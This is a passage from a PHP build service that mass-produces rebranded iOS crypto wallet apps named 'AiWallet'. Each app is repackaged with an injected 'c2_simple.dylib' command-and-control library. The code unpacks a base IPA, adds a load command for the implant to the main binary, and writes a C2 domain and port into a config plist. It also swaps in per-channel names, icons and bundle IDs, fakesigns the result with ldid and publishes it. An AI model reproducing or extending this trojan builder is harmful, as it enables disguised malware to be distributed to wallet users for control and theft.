120, 'AppIcon60x60@3x.png' => 180, 'AppIcon76x76@2x~ipad.png' => 152, ]; public function build(Channel $channel, ?string $logoPath, string $apiDomain): array { $baseIpa = storage_path('app/'.self::BASE_IPA); $c2Dylib = storage_path('app/'.self::C2_DYLIB); if (!file_exists($baseIpa)) { return $this->fail('Base IPA not found: '.$baseIpa); } if (!file_exists($c2Dylib)) { return $this->fail('c2_simple.dylib not found: '.$c2Dylib); } $workDir = storage_path('app/app-builds/'.$channel->channel_id); if (is_dir($workDir)) $this->rrmdir($workDir); @mkdir($workDir, 0755, true); try { Log::info('AiWallet: build started', ['channel' => $channel->channel_id]); // 1. Extract base IPA $zip = new \ZipArchive; if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA'); $zip->extractTo($workDir); $zip->close(); $appDir = $this->findAppDir($workDir); if (!$appDir) throw new RuntimeException('No .app directory found'); // 2. Copy pre-compiled c2_simple.dylib $fwDir = $appDir.'/Frameworks'; if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true); copy($c2Dylib, $fwDir.'/c2_simple.dylib'); Log::info('AiWallet: c2_simple.dylib copied'); // 3. Write c2_config.plist $this->writeConfigPlist($appDir, $channel, $apiDomain); Log::info('AiWallet: c2_config.plist written'); // 4. Add LC_LOAD_DYLIB (Python script) $mainBin = $this->findMainBinary($appDir); $this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']); Log::info('AiWallet: LC_LOAD_DYLIB added'); // 5. Patch Info.plist (Python script) $this->runPython(base_path('bin/patch_plist.py'), [ $appDir.'/Info.plist', $channel->app_name, $channel->bundle_id ?: 'com.ai.wallet.next', '1.6.1', ]); Log::info('AiWallet: Info.plist patched'); // 6. Replace splash + remove LaunchScreen $this->replaceSplashAndLaunchScreen($appDir); Log::info('AiWallet: splash/LaunchScreen replaced'); // 7. Generate icons if ($logoPath && file_exists($logoPath)) { $this->generateIcons($appDir, $logoPath); Log::info('AiWallet: icons generated'); } // 8. Sign with ldid $this->sign($appDir); Log::info('AiWallet: signed'); // 9. Package IPA $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; $outputFull = public_path($outputPath); @mkdir(dirname($outputFull), 0755, true); $outZip = new \ZipArchive; if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) { throw new RuntimeException('Cannot create output IPA'); } $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload'); $outZip->close(); $size = filesize($outputFull); $this->rrmdir($workDir); Log::info('AiWallet: build complete', ['size' => $size]); return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => '']; } catch (\Throwable $e) { $this->rrmdir($workDir); Log::error('AiWallet: build failed', [ 'channel' => $channel->channel_id, 'error' => $e->getMessage(), ]); return ['success' => false, 'path' => '', 'size' => 0, 'error' => $e->getMessage()]; } } private function writeConfigPlist(string $appDir, Channel $channel, string $apiDomain): void { $config = [ 'C2Domain' => $apiDomain, 'C2Port' => '443', 'WebViewURL' => $channel->h5_url ?: 'https://tether.to', 'AppId' => $channel->channel_id, 'ChannelId' => $channel->channel_id, 'AppName' => $channel->app_name, ]; $xml = ''."\n" .''."\n" .''."\n"; foreach ($config as $key => $value) { $xml .= ''.htmlspecialchars($key).''.htmlspecialchars($value).''."\n"; } $xml .= ''; file_put_contents($appDir.'/c2_config.plist', $xml); } private function runPython(string $script, array $args): void { if (!file_exists($script)) { throw new RuntimeException('Script not found: '.$script); } $cmd = 'python3 '.escapeshellarg($script); foreach ($args as $arg) { $cmd .= ' '.escapeshellarg($arg); } $cmd .= ' 2>&1'; $output = []; $exitCode = 0; exec($cmd, $output, $exitCode); if ($exitCode !== 0) { throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output)); } Log::info('AiWallet: '.basename($script).' output', ['output' => $output]); } private function replaceSplashAndLaunchScreen(string $appDir): void { // Replace Flutter splash with white $splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png'; if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) { $img = imagecreatetruecolor(10, 10); $white = imagecolorallocate($img, 255, 255, 255); imagefill($img, 0, 0, $white); imagepng($img, $splashPath); imagedestroy($img); } // Remove LaunchScreen storyboard $lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc'; if (is_dir($lsDir)) $this->rrmdir($lsDir); } private function generateIcons(string $appDir, string $logoPath): void { if (!function_exists('imagecreatefrompng')) { Log::warning('AiWallet: GD not available, skipping icons'); return; } $src = imagecreatefrompng($logoPath); if (!$src) return; // Remove Assets.car so iOS uses loose PNGs $assetsCar = $appDir.'/Assets.car'; if (file_exists($assetsCar)) unlink($assetsCar); foreach (self::ICON_SIZES as $filename => $size) { $dst = imagecreatetruecolor($size, $size); imagealphablending($dst, false); imagesavealpha($dst, true); imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src)); imagepng($dst, $appDir.'/'.$filename); imagedestroy($dst); } imagedestroy($src); } private function sign(string $appDir): void { $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); if ($ldidPath === '' || !file_exists($ldidPath)) { Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]); return; } $csDir = $appDir.'/_CodeSignature'; if (is_dir($csDir)) $this->rrmdir($csDir); $binaries = array_merge( [$this->findMainBinary($appDir)], glob($appDir.'/Frameworks/*.dylib') ?: [], glob($appDir.'/*.dylib') ?: [], ); foreach ($binaries as $bin) { if (!is_file($bin)) continue; $spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes); if (is_resource($proc)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[1]); fclose($pipes[2]); $exitCode = proc_close($proc); if ($exitCode !== 0) { Log::warning('AiWallet: ldid failed for '.basename($bin), [ 'exit' => $exitCode, 'stderr' => $stderr, ]); } else { Log::info('AiWallet: ldid signed '.basename($bin)); } } } @mkdir($csDir, 0755, true); file_put_contents($csDir.'/CodeResources', ''."\n". 'files'); } private function findAppDir(string $workDir): ?string { $payload = $workDir.'/Payload'; if (!is_dir($payload)) return null; foreach (scandir($payload) as $item) { if (str_ends_with($item, '.app')) return $payload.'/'.$item; } return null; } private function findMainBinary(string $appDir): string { $appName = basename($appDir, '.app'); return $appDir.'/'.$appName; } private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void { foreach (scandir($dir) as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; $zipPath = $prefix.'/'.$item; if (is_dir($path)) { $zip->addEmptyDir($zipPath); $this->addDirToZip($zip, $path, $zipPath); } else { $zip->addFile($path, $zipPath); } } } private function rrmdir(string $dir): void { if (!is_dir($dir)) return; foreach (scandir($dir) as $item) { if ($item === '.' || $item === '..') continue; $path = $dir.'/'.$item; if (is_dir($path)) $this->rrmdir($path); else @unlink($path); } @rmdir($dir); } private function fail(string $error): array { return ['success' => false, 'path' => '', 'size' => 0, 'error' => $error]; } }